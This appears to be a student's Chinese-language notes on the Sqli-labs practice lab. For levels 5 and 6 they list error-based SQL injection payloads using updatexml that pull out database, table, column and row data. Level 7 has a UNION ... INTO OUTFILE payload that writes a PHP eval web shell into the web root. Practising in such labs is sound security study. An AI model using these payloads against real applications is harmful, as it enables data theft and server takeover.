Sqli-labs
Less-5
先传个参!
此处是一个单引号闭合,输入的东西都会在单引号里面。
查看源码…
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
如果and前面的条件不成立,就不会执行后面的语句。
报错一般有长度的限制,不能输出太长的数据,尽量不要使用group_concat()
判断是否存在注入:? id=1' and 1=1 -- zaa
判断库名:? id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名:? id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名:? id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据:? id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa
如图所示 %20表示为空格,%27表示为’
Less-6
与第五关相比,闭合方式不同。
判断是否存在注入:? id=1" and 1=1 -- zaa
判断库名:? id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名:? id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名:? id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据:? id=1" and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa
Less-7
判断字段数:
? id=1')) order by 3 -- zaa
写码:
?id=1')) union select 1,"<?php eval($_REQUEST[1]?)>",3 into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"-- zaa
可能是没有配置。
嗯…学习视频中,点不太会,这几天课太满,可能要在换个思路,先放着,,,